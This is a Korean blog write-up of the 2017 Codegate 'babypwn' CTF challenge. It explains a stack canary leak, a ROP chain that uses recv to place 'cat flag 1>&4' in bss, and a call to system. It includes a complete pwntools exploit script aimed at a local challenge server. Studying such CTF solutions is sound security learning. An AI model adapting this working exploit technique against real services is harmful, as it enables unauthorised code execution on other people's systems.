2017 codegate Babypwn
CTF2018. 1. 25. 01:07
heap 공부를 하는 동안 stack 공부한 걸 까먹지 않았나 싶어서 복습할 겸 codegate의 babypwn을 풀었다.
보호기법을 보니 GOT를 덮을 수 있다.
소켓 연결할 때 포트는 8181로 하면 된다.
빠르게 취약점으로 가면
IDA로 이 쪽 부분을 보면 INPUT_0이라는 함수를 들어가보면
recv임을 알 수 있다. 그럼 INPUT_0(&v2,0x64)는 v2라는 주소에 100만큼 입력을 받는다는 뜻이다. 그래서 v2를 몇 바이트까지 받는 지 봤는데
Canary 까지 0x28 = 40byte를 받는다. 그래서 41만큼 값을 넣어서 카나리까지 변수에 값이 저장되게 한 다음 INPUT_0 밑에 있는 출력 함수에서 v2의 값을 출력할 때 같이 나오게 해서 Canary Leak을 했다.
그 다음에 다시 정상적으로 값을 40까지 넣고 stack smashing이 안뜨게 canary를 넣어준 다음에 나머지 sfp까지 덮고 ret에서 bss에 cat flag 를 하는 리다이렉션 한 명령어를 집어넣고 system_plt에 bss를 인자로 줘서 플래그를 얻었다.
리다이렉션은 처음 써봤는데 stack 복습도 하고 리다이렉션도 배우고 좋은 문제였다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from pwn import* p = remote('127.0.0.1',8181) #context.log_level = 'debug' elf = ELF("./babypwn") bss = elf.bss() system_got = elf.got["system"] system_plt = elf.plt["system"] recv_plt = elf.plt["recv"] recv_got = elf.got["recv"] send_plt = elf.plt["send"] send_got = elf.got["send"] p4r = 0x08048eec print p.sendlineafter("> ","1") payload = "A"*41 print p.sendafter(": ",payload) print p.recvuntil("A"*41) canary = u32("\x00"+p.recv(3)) print hex(canary) cmd = "cat flag 1>&4" payload = "c"*40+p32(canary)+"A"*8+"B"*4 payload += p32(recv_plt) payload += p32(p4r) payload += p32(4) payload += p32(bss) payload += p32(len(cmd)+1) payload += p32(0) payload += p32(system_plt) payload += "AAAA" payload += p32(bss) print p.sendlineafter("> ","1") p.sendafter(": ",payload) print p.recv(1024) print p.recv(1024) p.sendline("3") p.send(cmd) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2018 Codegate RedVelvet (0) | 2018.02.04 |
---|---|
2017 acebear CTF easy_heap (0) | 2018.01.30 |
2016 WITHcon Malloc (0) | 2018.01.22 |
2016 Hitcon sleepy holder (0) | 2018.01.21 |
2016 Hitcon secret holder (0) | 2018.01.21 |